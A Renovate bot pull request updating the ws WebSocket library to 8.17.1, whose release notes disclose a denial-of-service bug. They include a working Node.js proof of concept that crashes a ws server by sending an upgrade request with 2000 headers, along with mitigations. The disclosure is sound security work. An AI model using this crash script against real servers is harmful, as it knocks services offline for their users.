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Update dependency ws to v8.17.1 #6072

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Update dependency ws to v8.17.1 #6072

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@renovate renovate bot commented Jun 4, 2024

Mend Renovate

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
ws 8.16.0 -> 8.17.1 age adoption passing confidence

Release Notes

websockets/ws (ws)

v8.17.1

Compare Source

Bug fixes

A request with a number of headers exceeding the[server.maxHeadersCount][server.maxHeadersCount]
threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const server = http.createServer();

const wss = new WebSocket.Server({ server });

server.listen(function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: server.address().port
  });

  request.end();
});

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the
    [--max-http-header-size=size][--max-http-header-size=size] and/or the [maxHeaderSize][maxHeaderSize] options so
    that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

v8.17.0

Compare Source

Features

  • The WebSocket constructor now accepts the createConnection option (#​2219).

Other notable changes

  • The default value of the allowSynchronousEvents option has been changed to
    true (#​2221).

This is a breaking change in a patch release. The assumption is that the option
is not widely used.


Configuration

📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate. View repository job log here.

@renovate renovate bot force-pushed the renovate/ws-8.x branch 17 times, most recently from 0c1d3af to e5ec6d5 Compare June 10, 2024 01:43
@renovate renovate bot changed the title Update dependency ws to v8.17.0 Update dependency ws to v8.17.1 Jun 16, 2024
@renovate renovate bot force-pushed the renovate/ws-8.x branch 4 times, most recently from 53ae095 to 22a45ef Compare June 17, 2024 21:23
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renovate bot commented Jun 17, 2024

Renovate Ignore Notification

Because you closed this PR without merging, Renovate will ignore this update (8.17.1). You will get a PR once a newer version is released. To ignore this dependency forever, add it to the ignoreDeps array of your Renovate config.

If you accidentally closed this PR, or if you changed your mind: rename this PR to get a fresh replacement PR.

@G-Rath G-Rath mentioned this pull request Jul 15, 2024
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